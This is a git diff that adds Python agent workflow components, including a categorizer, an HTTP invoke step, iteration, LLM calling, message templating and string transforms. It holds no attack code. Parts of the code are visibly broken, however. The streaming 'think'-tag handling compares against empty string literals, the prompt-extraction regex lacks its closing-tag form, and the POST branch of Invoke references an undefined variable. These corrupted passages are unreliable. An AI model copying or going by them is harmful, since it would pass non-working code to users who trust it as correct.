+ component_name = "Categorize"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60)))
+ def _invoke(self, **kwargs):
+ msg = self._canvas.get_history(self._param.message_history_window_size)
+ if not msg:
+ msg = [{"role": "user", "content": ""}]
+ if kwargs.get("sys.query"):
+ msg[-1]["content"] = kwargs["sys.query"]
+ self.set_input_value("sys.query", kwargs["sys.query"])
+ else:
+ msg[-1]["content"] = self._canvas.get_variable_value(self._param.query)
+ self.set_input_value(self._param.query, msg[-1]["content"])
+ self._param.update_prompt()
+ chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+
+ user_prompt = """
+---- Real Data ----
+{} →
+""".format(" | ".join(["{}: \"{}\"".format(c["role"].upper(), re.sub(r"\n", "", c["content"], flags=re.DOTALL)) for c in msg]))
+ ans = chat_mdl.chat(self._param.sys_prompt, [{"role": "user", "content": user_prompt}], self._param.gen_conf())
+ logging.info(f"input: {user_prompt}, answer: {str(ans)}")
+ if ERROR_PREFIX in ans:
+ raise Exception(ans)
+ # Count the number of times each category appears in the answer.
+ category_counts = {}
+ for c in self._param.category_description.keys():
+ count = ans.lower().count(c.lower())
+ category_counts[c] = count
+
+ cpn_ids = list(self._param.category_description.items())[-1][1]["to"]
+ max_category = list(self._param.category_description.keys())[0]
+ if any(category_counts.values()):
+ max_category = max(category_counts.items(), key=lambda x: x[1])[0]
+ cpn_ids = self._param.category_description[max_category]["to"]
+
+ self.set_output("category_name", max_category)
+ self.set_output("_next", cpn_ids)
+
+ def thoughts(self) -> str:
+ return "Which should it falls into {}? ...".format(",".join([f"`{c}`" for c, _ in self._param.category_description.items()]))
diff --git a/agent/component/fillup.py b/agent/component/fillup.py
new file mode 100644
index 0000000..5b57bed
--- /dev/null
+++ b/agent/component/fillup.py
@@ -0,0 +1,40 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class UserFillUpParam(ComponentParamBase):
+
+ def __init__(self):
+ super().__init__()
+ self.enable_tips = True
+ self.tips = "Please fill up the form"
+
+ def check(self) -> bool:
+ return True
+
+
+class UserFillUp(ComponentBase):
+ component_name = "UserFillUp"
+
+ def _invoke(self, **kwargs):
+ for k, v in kwargs.get("inputs", {}).items():
+ self.set_output(k, v)
+
+ def thoughts(self) -> str:
+ return "Waiting for your input..."
+
+
diff --git a/agent/component/invoke.py b/agent/component/invoke.py
new file mode 100644
index 0000000..d31c7ed
--- /dev/null
+++ b/agent/component/invoke.py
@@ -0,0 +1,135 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import logging
+import os
+import re
+import time
+from abc import ABC
+
+import requests
+
+from agent.component.base import ComponentBase, ComponentParamBase
+from api.utils.api_utils import timeout
+from deepdoc.parser import HtmlParser
+
+
+class InvokeParam(ComponentParamBase):
+ """
+ Define the Crawler component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.proxy = None
+ self.headers = ""
+ self.method = "get"
+ self.variables = []
+ self.url = ""
+ self.timeout = 60
+ self.clean_html = False
+ self.datatype = "json" # New parameter to determine data posting type
+
+ def check(self):
+ self.check_valid_value(self.method.lower(), "Type of content from the crawler", ["get", "post", "put"])
+ self.check_empty(self.url, "End point URL")
+ self.check_positive_integer(self.timeout, "Timeout time in second")
+ self.check_boolean(self.clean_html, "Clean HTML")
+ self.check_valid_value(self.datatype.lower(), "Data post type", ["json", "formdata"]) # Check for valid datapost value
+
+
+class Invoke(ComponentBase, ABC):
+ component_name = "Invoke"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 3)))
+ def _invoke(self, **kwargs):
+ args = {}
+ for para in self._param.variables:
+ if para.get("value"):
+ args[para["key"]] = para["value"]
+ else:
+ args[para["key"]] = self._canvas.get_variable_value(para["ref"])
+
+ url = self._param.url.strip()
+
+ def replace_variable(match):
+ var_name = match.group(1)
+ try:
+ value = self._canvas.get_variable_value(var_name)
+ return str(value or "")
+ except Exception:
+ return ""
+
+ # {base_url} or {component_id@variable_name}
+ url = re.sub(r"\{([a-zA-Z_][a-zA-Z0-9_.@-]*)\}", replace_variable, url)
+
+ if url.find("http") != 0:
+ url = "http://" + url
+
+ method = self._param.method.lower()
+ headers = {}
+ if self._param.headers:
+ headers = json.loads(self._param.headers)
+ proxies = None
+ if re.sub(r"https?:?/?/?", "", self._param.proxy):
+ proxies = {"http": self._param.proxy, "https": self._param.proxy}
+
+ last_e = ""
+ for _ in range(self._param.max_retries + 1):
+ try:
+ if method == "get":
+ response = requests.get(url=url, params=args, headers=headers, proxies=proxies, timeout=self._param.timeout)
+ if self._param.clean_html:
+ sections = HtmlParser()(None, response.content)
+ self.set_output("result", "\n".join(sections))
+ else:
+ self.set_output("result", response.text)
+
+ if method == "put":
+ if self._param.datatype.lower() == "json":
+ response = requests.put(url=url, json=args, headers=headers, proxies=proxies, timeout=self._param.timeout)
+ else:
+ response = requests.put(url=url, data=args, headers=headers, proxies=proxies, timeout=self._param.timeout)
+ if self._param.clean_html:
+ sections = HtmlParser()(None, response.content)
+ self.set_output("result", "\n".join(sections))
+ else:
+ self.set_output("result", response.text)
+
+ if method == "post":
+ if self._param.datatype.lower() == "json":
+ response = requests.post(url=url, json=args, headers=headers, proxies=proxies, timeout=self._param.timeout)
+ else:
+ response = requests.post(url=url, data=args, headers=headers, proxies=proxies, timeout=self._param.timeout)
+ if self._param.clean_html:
+ self.set_output("result", "\n".join(sections))
+ else:
+ self.set_output("result", response.text)
+
+ return self.output("result")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"Http request error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"Http request error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return "Waiting for the server respond..."
diff --git a/agent/component/iteration.py b/agent/component/iteration.py
new file mode 100644
index 0000000..460969d
--- /dev/null
+++ b/agent/component/iteration.py
@@ -0,0 +1,60 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class IterationParam(ComponentParamBase):
+ """
+ Define the Iteration component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.items_ref = ""
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "items": {
+ "type": "json",
+ "name": "Items"
+ }
+ }
+
+ def check(self):
+ return True
+
+
+class Iteration(ComponentBase, ABC):
+ component_name = "Iteration"
+
+ def get_start(self):
+ for cid in self._canvas.components.keys():
+ if self._canvas.get_component(cid)["obj"].component_name.lower() != "iterationitem":
+ continue
+ if self._canvas.get_component(cid)["parent_id"] == self._id:
+ return cid
+
+ def _invoke(self, **kwargs):
+ arr = self._canvas.get_variable_value(self._param.items_ref)
+ if not isinstance(arr, list):
+ self.set_output("_ERROR", self._param.items_ref + " must be an array, but its type is "+str(type(arr)))
+
+ def thoughts(self) -> str:
+ return "Need to process {} items.".format(len(self._canvas.get_variable_value(self._param.items_ref)))
+
+
+
diff --git a/agent/component/iterationitem.py b/agent/component/iterationitem.py
new file mode 100644
index 0000000..6c4d0ba
--- /dev/null
+++ b/agent/component/iterationitem.py
@@ -0,0 +1,83 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class IterationItemParam(ComponentParamBase):
+ """
+ Define the IterationItem component parameters.
+ """
+ def check(self):
+ return True
+
+
+class IterationItem(ComponentBase, ABC):
+ component_name = "IterationItem"
+
+ def __init__(self, canvas, id, param: ComponentParamBase):
+ super().__init__(canvas, id, param)
+ self._idx = 0
+
+ def _invoke(self, **kwargs):
+ parent = self.get_parent()
+ arr = self._canvas.get_variable_value(parent._param.items_ref)
+ if not isinstance(arr, list):
+ self._idx = -1
+ raise Exception(parent._param.items_ref + " must be an array, but its type is "+str(type(arr)))
+
+ if self._idx > 0:
+ self.output_collation()
+
+ if self._idx >= len(arr):
+ self._idx = -1
+ return
+
+ self.set_output("item", arr[self._idx])
+ self.set_output("index", self._idx)
+
+ self._idx += 1
+
+ def output_collation(self):
+ pid = self.get_parent()._id
+ for cid in self._canvas.components.keys():
+ obj = self._canvas.get_component_obj(cid)
+ p = obj.get_parent()
+ if not p:
+ continue
+ if p._id != pid:
+ continue
+
+ if p.component_name.lower() in ["categorize", "message", "switch", "userfillup", "interationitem"]:
+ continue
+
+ for k, o in p._param.outputs.items():
+ if "ref" not in o:
+ continue
+ _cid, var = o["ref"].split("@")
+ if _cid != cid:
+ continue
+ res = p.output(k)
+ if not res:
+ res = []
+ res.append(obj.output(var))
+ p.set_output(k, res)
+
+ def end(self):
+ return self._idx == -1
+
+ def thoughts(self) -> str:
+ return "Next turn..."
\ No newline at end of file
diff --git a/agent/component/llm.py b/agent/component/llm.py
new file mode 100644
index 0000000..1e6c35c
--- /dev/null
+++ b/agent/component/llm.py
@@ -0,0 +1,286 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import logging
+import os
+import re
+from copy import deepcopy
+from typing import Any, Generator
+import json_repair
+from functools import partial
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from api.db.services.tenant_llm_service import TenantLLMService
+from agent.component.base import ComponentBase, ComponentParamBase
+from api.utils.api_utils import timeout
+from rag.prompts.generator import tool_call_summary, message_fit_in, citation_prompt
+
+
+class LLMParam(ComponentParamBase):
+ """
+ Define the LLM component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.llm_id = ""
+ self.sys_prompt = ""
+ self.prompts = [{"role": "user", "content": "{sys.query}"}]
+ self.max_tokens = 0
+ self.temperature = 0
+ self.top_p = 0
+ self.presence_penalty = 0
+ self.frequency_penalty = 0
+ self.output_structure = None
+ self.cite = True
+ self.visual_files_var = None
+
+ def check(self):
+ self.check_decimal_float(float(self.temperature), "[Agent] Temperature")
+ self.check_decimal_float(float(self.presence_penalty), "[Agent] Presence penalty")
+ self.check_decimal_float(float(self.frequency_penalty), "[Agent] Frequency penalty")
+ self.check_nonnegative_number(int(self.max_tokens), "[Agent] Max tokens")
+ self.check_decimal_float(float(self.top_p), "[Agent] Top P")
+ self.check_empty(self.llm_id, "[Agent] LLM")
+ self.check_empty(self.sys_prompt, "[Agent] System prompt")
+ self.check_empty(self.prompts, "[Agent] User prompt")
+
+ def gen_conf(self):
+ conf = {}
+ def get_attr(nm):
+ try:
+ return getattr(self, nm)
+ except Exception:
+ pass
+
+ if int(self.max_tokens) > 0 and get_attr("maxTokensEnabled"):
+ conf["max_tokens"] = int(self.max_tokens)
+ if float(self.temperature) > 0 and get_attr("temperatureEnabled"):
+ conf["temperature"] = float(self.temperature)
+ if float(self.top_p) > 0 and get_attr("topPEnabled"):
+ conf["top_p"] = float(self.top_p)
+ if float(self.presence_penalty) > 0 and get_attr("presencePenaltyEnabled"):
+ conf["presence_penalty"] = float(self.presence_penalty)
+ if float(self.frequency_penalty) > 0 and get_attr("frequencyPenaltyEnabled"):
+ conf["frequency_penalty"] = float(self.frequency_penalty)
+ return conf
+
+
+class LLM(ComponentBase):
+ component_name = "LLM"
+
+ def __init__(self, canvas, component_id, param: ComponentParamBase):
+ super().__init__(canvas, component_id, param)
+ self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), TenantLLMService.llm_id2llm_type(self._param.llm_id),
+ self._param.llm_id, max_retries=self._param.max_retries,
+ retry_interval=self._param.delay_after_error
+ )
+ self.imgs = []
+
+ def get_input_form(self) -> dict[str, dict]:
+ res = {}
+ for k, v in self.get_input_elements().items():
+ res[k] = {
+ "type": "line",
+ "name": v["name"]
+ }
+ return res
+
+ def get_input_elements(self) -> dict[str, Any]:
+ res = self.get_input_elements_from_text(self._param.sys_prompt)
+ if isinstance(self._param.prompts, str):
+ self._param.prompts = [{"role": "user", "content": self._param.prompts}]
+ for prompt in self._param.prompts:
+ d = self.get_input_elements_from_text(prompt["content"])
+ res.update(d)
+ return res
+
+ def set_debug_inputs(self, inputs: dict[str, dict]):
+ self._param.debug_inputs = inputs
+
+ def add2system_prompt(self, txt):
+ self._param.sys_prompt += txt
+
+ def _sys_prompt_and_msg(self, msg, args):
+ if isinstance(self._param.prompts, str):
+ self._param.prompts = [{"role": "user", "content": self._param.prompts}]
+ for p in self._param.prompts:
+ if msg and msg[-1]["role"] == p["role"]:
+ continue
+ p = deepcopy(p)
+ p["content"] = self.string_format(p["content"], args)
+ msg.append(p)
+ return msg, self.string_format(self._param.sys_prompt, args)
+
+ def _prepare_prompt_variables(self):
+ if self._param.visual_files_var:
+ self.imgs = self._canvas.get_variable_value(self._param.visual_files_var)
+ if not self.imgs:
+ self.imgs = []
+ self.imgs = [img for img in self.imgs if img[:len("data:image/")] == "data:image/"]
+ if self.imgs and TenantLLMService.llm_id2llm_type(self._param.llm_id) == LLMType.CHAT.value:
+ self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.IMAGE2TEXT.value,
+ self._param.llm_id, max_retries=self._param.max_retries,
+ retry_interval=self._param.delay_after_error
+ )
+
+
+ args = {}
+ vars = self.get_input_elements() if not self._param.debug_inputs else self._param.debug_inputs
+ for k, o in vars.items():
+ args[k] = o["value"]
+ if not isinstance(args[k], str):
+ try:
+ args[k] = json.dumps(args[k], ensure_ascii=False)
+ except Exception:
+ args[k] = str(args[k])
+ self.set_input_value(k, args[k])
+
+ msg, sys_prompt = self._sys_prompt_and_msg(self._canvas.get_history(self._param.message_history_window_size)[:-1], args)
+ user_defined_prompt, sys_prompt = self._extract_prompts(sys_prompt)
+ if self._param.cite and self._canvas.get_reference()["chunks"]:
+ sys_prompt += citation_prompt(user_defined_prompt)
+
+ return sys_prompt, msg, user_defined_prompt
+
+ def _extract_prompts(self, sys_prompt):
+ pts = {}
+ for tag in ["TASK_ANALYSIS", "PLAN_GENERATION", "REFLECTION", "CONTEXT_SUMMARY", "CONTEXT_RANKING", "CITATION_GUIDELINES"]:
+ r = re.search(rf"<{tag}>(.*?){tag}>", sys_prompt, flags=re.DOTALL|re.IGNORECASE)
+ if not r:
+ continue
+ pts[tag.lower()] = r.group(1)
+ sys_prompt = re.sub(rf"<{tag}>(.*?){tag}>", "", sys_prompt, flags=re.DOTALL|re.IGNORECASE)
+ return pts, sys_prompt
+
+ def _generate(self, msg:list[dict], **kwargs) -> str:
+ if not self.imgs:
+ return self.chat_mdl.chat(msg[0]["content"], msg[1:], self._param.gen_conf(), **kwargs)
+ return self.chat_mdl.chat(msg[0]["content"], msg[1:], self._param.gen_conf(), images=self.imgs, **kwargs)
+
+ def _generate_streamly(self, msg:list[dict], **kwargs) -> Generator[str, None, None]:
+ ans = ""
+ last_idx = 0
+ endswith_think = False
+ def delta(txt):
+ nonlocal ans, last_idx, endswith_think
+ delta_ans = txt[last_idx:]
+ ans = txt
+
+ if delta_ans.find("") == 0:
+ last_idx += len("")
+ return ""
+ elif delta_ans.find("") > 0:
+ delta_ans = txt[last_idx:last_idx+delta_ans.find("")]
+ last_idx += delta_ans.find("")
+ return delta_ans
+ elif delta_ans.endswith(" "):
+ endswith_think = True
+ elif endswith_think:
+ endswith_think = False
+ return " "
+
+ last_idx = len(ans)
+ if ans.endswith(" "):
+ last_idx -= len(" ")
+ return re.sub(r"(| )", "", delta_ans)
+
+ if not self.imgs:
+ for txt in self.chat_mdl.chat_streamly(msg[0]["content"], msg[1:], self._param.gen_conf(), **kwargs):
+ yield delta(txt)
+ else:
+ for txt in self.chat_mdl.chat_streamly(msg[0]["content"], msg[1:], self._param.gen_conf(), images=self.imgs, **kwargs):
+ yield delta(txt)
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60)))
+ def _invoke(self, **kwargs):
+ def clean_formated_answer(ans: str) -> str:
+ ans = re.sub(r"^.* ", "", ans, flags=re.DOTALL)
+ ans = re.sub(r"^.*```json", "", ans, flags=re.DOTALL)
+ return re.sub(r"```\n*$", "", ans, flags=re.DOTALL)
+
+ prompt, msg, _ = self._prepare_prompt_variables()
+ error: str = ""
+
+ if self._param.output_structure:
+ prompt += "\nThe output MUST follow this JSON format:\n"+json.dumps(self._param.output_structure, ensure_ascii=False, indent=2)
+ prompt += "\nRedundant information is FORBIDDEN."
+ for _ in range(self._param.max_retries+1):
+ _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+ error = ""
+ ans = self._generate(msg)
+ msg.pop(0)
+ if ans.find("**ERROR**") >= 0:
+ logging.error(f"LLM response error: {ans}")
+ error = ans
+ continue
+ try:
+ self.set_output("structured_content", json_repair.loads(clean_formated_answer(ans)))
+ return
+ except Exception:
+ msg.append({"role": "user", "content": "The answer can't not be parsed as JSON"})
+ error = "The answer can't not be parsed as JSON"
+ if error:
+ self.set_output("_ERROR", error)
+ return
+
+ downstreams = self._canvas.get_component(self._id)["downstream"] if self._canvas.get_component(self._id) else []
+ ex = self.exception_handler()
+ if any([self._canvas.get_component_obj(cid).component_name.lower()=="message" for cid in downstreams]) and not self._param.output_structure and not (ex and ex["goto"]):
+ self.set_output("content", partial(self._stream_output, prompt, msg))
+ return
+
+ for _ in range(self._param.max_retries+1):
+ _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+ error = ""
+ ans = self._generate(msg)
+ msg.pop(0)
+ if ans.find("**ERROR**") >= 0:
+ logging.error(f"LLM response error: {ans}")
+ error = ans
+ continue
+ self.set_output("content", ans)
+ break
+
+ if error:
+ if self.get_exception_default_value():
+ self.set_output("content", self.get_exception_default_value())
+ else:
+ self.set_output("_ERROR", error)
+
+ def _stream_output(self, prompt, msg):
+ _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+ answer = ""
+ for ans in self._generate_streamly(msg):
+ if ans.find("**ERROR**") >= 0:
+ if self.get_exception_default_value():
+ self.set_output("content", self.get_exception_default_value())
+ yield self.get_exception_default_value()
+ else:
+ self.set_output("_ERROR", ans)
+ return
+ yield ans
+ answer += ans
+ self.set_output("content", answer)
+
+ def add_memory(self, user:str, assist:str, func_name: str, params: dict, results: str, user_defined_prompt:dict={}):
+ summ = tool_call_summary(self.chat_mdl, func_name, params, results, user_defined_prompt)
+ logging.info(f"[MEMORY]: {summ}")
+ self._canvas.add_memory(user, assist, summ)
+
+ def thoughts(self) -> str:
+ _, msg,_ = self._prepare_prompt_variables()
+ return "⌛Give me a moment—starting from: \n\n" + re.sub(r"(User's query:|[\\]+)", '', msg[-1]['content'], flags=re.DOTALL) + "\n\nI’ll figure out our best next move."
\ No newline at end of file
diff --git a/agent/component/message.py b/agent/component/message.py
new file mode 100644
index 0000000..3569065
--- /dev/null
+++ b/agent/component/message.py
@@ -0,0 +1,150 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import os
+import random
+import re
+from functools import partial
+from typing import Any
+
+from agent.component.base import ComponentBase, ComponentParamBase
+from jinja2 import Template as Jinja2Template
+
+from api.utils.api_utils import timeout
+
+
+class MessageParam(ComponentParamBase):
+ """
+ Define the Message component parameters.
+ """
+ def __init__(self):
+ super().__init__()
+ self.content = []
+ self.stream = True
+ self.outputs = {
+ "content": {
+ "type": "str"
+ }
+ }
+
+ def check(self):
+ self.check_empty(self.content, "[Message] Content")
+ self.check_boolean(self.stream, "[Message] stream")
+ return True
+
+
+class Message(ComponentBase):
+ component_name = "Message"
+
+ def get_kwargs(self, script:str, kwargs:dict = {}, delimiter:str=None) -> tuple[str, dict[str, str | list | Any]]:
+ for k,v in self.get_input_elements_from_text(script).items():
+ if k in kwargs:
+ continue
+ v = v["value"]
+ if not v:
+ v = ""
+ ans = ""
+ if isinstance(v, partial):
+ for t in v():
+ ans += t
+ elif isinstance(v, list) and delimiter:
+ ans = delimiter.join([str(vv) for vv in v])
+ elif not isinstance(v, str):
+ try:
+ ans = json.dumps(v, ensure_ascii=False)
+ except Exception:
+ pass
+ else:
+ ans = v
+ if not ans:
+ ans = ""
+ kwargs[k] = ans
+ self.set_input_value(k, ans)
+
+ _kwargs = {}
+ for n, v in kwargs.items():
+ _n = re.sub("[@:.]", "_", n)
+ script = re.sub(r"\{%s\}" % re.escape(n), _n, script)
+ _kwargs[_n] = v
+ return script, _kwargs
+
+ def _stream(self, rand_cnt:str):
+ s = 0
+ all_content = ""
+ cache = {}
+ for r in re.finditer(self.variable_ref_patt, rand_cnt, flags=re.DOTALL):
+ all_content += rand_cnt[s: r.start()]
+ yield rand_cnt[s: r.start()]
+ s = r.end()
+ exp = r.group(1)
+ if exp in cache:
+ yield cache[exp]
+ all_content += cache[exp]
+ continue
+
+ v = self._canvas.get_variable_value(exp)
+ if not v:
+ v = ""
+ if isinstance(v, partial):
+ cnt = ""
+ for t in v():
+ all_content += t
+ cnt += t
+ yield t
+
+ continue
+ elif not isinstance(v, str):
+ try:
+ v = json.dumps(v, ensure_ascii=False, indent=2)
+ except Exception:
+ v = str(v)
+ yield v
+ all_content += v
+ cache[exp] = v
+
+ if s < len(rand_cnt):
+ all_content += rand_cnt[s: ]
+ yield rand_cnt[s: ]
+
+ self.set_output("content", all_content)
+
+ def _is_jinjia2(self, content:str) -> bool:
+ patt = [
+ r"\{%.*%\}", "{{", "}}"
+ ]
+ return any([re.search(p, content) for p in patt])
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60)))
+ def _invoke(self, **kwargs):
+ rand_cnt = random.choice(self._param.content)
+ if self._param.stream and not self._is_jinjia2(rand_cnt):
+ self.set_output("content", partial(self._stream, rand_cnt))
+ return
+
+ rand_cnt, kwargs = self.get_kwargs(rand_cnt, kwargs)
+ template = Jinja2Template(rand_cnt)
+ try:
+ content = template.render(kwargs)
+ except Exception:
+ pass
+
+ for n, v in kwargs.items():
+ content = re.sub(n, v, content)
+
+ self.set_output("content", content)
+
+ def thoughts(self) -> str:
+ return ""
diff --git a/agent/component/string_transform.py b/agent/component/string_transform.py
new file mode 100644
index 0000000..fe812c0
--- /dev/null
+++ b/agent/component/string_transform.py
@@ -0,0 +1,100 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import os
+import re
+from abc import ABC
+from jinja2 import Template as Jinja2Template
+from agent.component.base import ComponentParamBase
+from api.utils.api_utils import timeout
+from .message import Message
+
+
+class StringTransformParam(ComponentParamBase):
+ """
+ Define the code sandbox component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.method = "split"
+ self.script = ""
+ self.split_ref = ""
+ self.delimiters = [","]
+ self.outputs = {"result": {"value": "", "type": "string"}}
+
+ def check(self):
+ self.check_valid_value(self.method, "Support method", ["split", "merge"])
+ self.check_empty(self.delimiters, "delimiters")
+
+
+class StringTransform(Message, ABC):
+ component_name = "StringTransform"
+
+ def get_input_form(self) -> dict[str, dict]:
+ if self._param.method == "split":
+ return {
+ "line": {
+ "name": "String",
+ "type": "line"
+ }
+ }
+ return {k: {
+ "name": o["name"],
+ "type": "line"
+ } for k, o in self.get_input_elements_from_text(self._param.script).items()}
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60)))
+ def _invoke(self, **kwargs):
+ if self._param.method == "split":
+ self._split(kwargs.get("line"))
+ else:
+ self._merge(kwargs)
+
+ def _split(self, line:str|None = None):
+ var = self._canvas.get_variable_value(self._param.split_ref) if not line else line
+ if not var:
+ var = ""
+ assert isinstance(var, str), "The input variable is not a string: {}".format(type(var))
+ self.set_input_value(self._param.split_ref, var)
+ res = []
+ for i,s in enumerate(re.split(r"(%s)"%("|".join([re.escape(d) for d in self._param.delimiters])), var, flags=re.DOTALL)):
+ if i % 2 == 1:
+ continue
+ res.append(s)
+ self.set_output("result", res)
+
+ def _merge(self, kwargs:dict[str, str] = {}):
+ script = self._param.script
+ script, kwargs = self.get_kwargs(script, kwargs, self._param.delimiters[0])
+
+ if self._is_jinjia2(script):
+ template = Jinja2Template(script)
+ try:
+ script = template.render(kwargs)
+ except Exception:
+ pass
+
+ for k,v in kwargs.items():
+ if not v:
+ v = ""
+ script = re.sub(k, lambda match: v, script)
+
+ self.set_output("result", script)
+
+ def thoughts(self) -> str:
+ return f"It's {self._param.method}ing."
+
+
diff --git a/agent/component/switch.py b/agent/component/switch.py
new file mode 100644
index 0000000..8cbbde6
--- /dev/null
+++ b/agent/component/switch.py
@@ -0,0 +1,131 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import numbers
+import os
+from abc import ABC
+from typing import Any
+
+from agent.component.base import ComponentBase, ComponentParamBase
+from api.utils.api_utils import timeout
+
+
+class SwitchParam(ComponentParamBase):
+ """
+ Define the Switch component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ """
+ {
+ "logical_operator" : "and | or"
+ "items" : [
+ {"cpn_id": "categorize:0", "operator": "contains", "value": ""},
+ {"cpn_id": "categorize:0", "operator": "contains", "value": ""},...],
+ "to": ""
+ }
+ """
+ self.conditions = []
+ self.end_cpn_ids = []
+ self.operators = ['contains', 'not contains', 'start with', 'end with', 'empty', 'not empty', '=', '≠', '>',
+ '<', '≥', '≤']
+
+ def check(self):
+ self.check_empty(self.conditions, "[Switch] conditions")
+ for cond in self.conditions:
+ if not cond["to"]:
+ raise ValueError("[Switch] 'To' can not be empty!")
+ self.check_empty(self.end_cpn_ids, "[Switch] the ELSE/Other destination can not be empty.")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "urls": {
+ "name": "URLs",
+ "type": "line"
+ }
+ }
+
+class Switch(ComponentBase, ABC):
+ component_name = "Switch"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 3)))
+ def _invoke(self, **kwargs):
+ for cond in self._param.conditions:
+ res = []
+ for item in cond["items"]:
+ if not item["cpn_id"]:
+ continue
+ cpn_v = self._canvas.get_variable_value(item["cpn_id"])
+ self.set_input_value(item["cpn_id"], cpn_v)
+ operatee = item.get("value", "")
+ if isinstance(cpn_v, numbers.Number):
+ operatee = float(operatee)
+ res.append(self.process_operator(cpn_v, item["operator"], operatee))
+ if cond["logical_operator"] != "and" and any(res):
+ self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in cond["to"]])
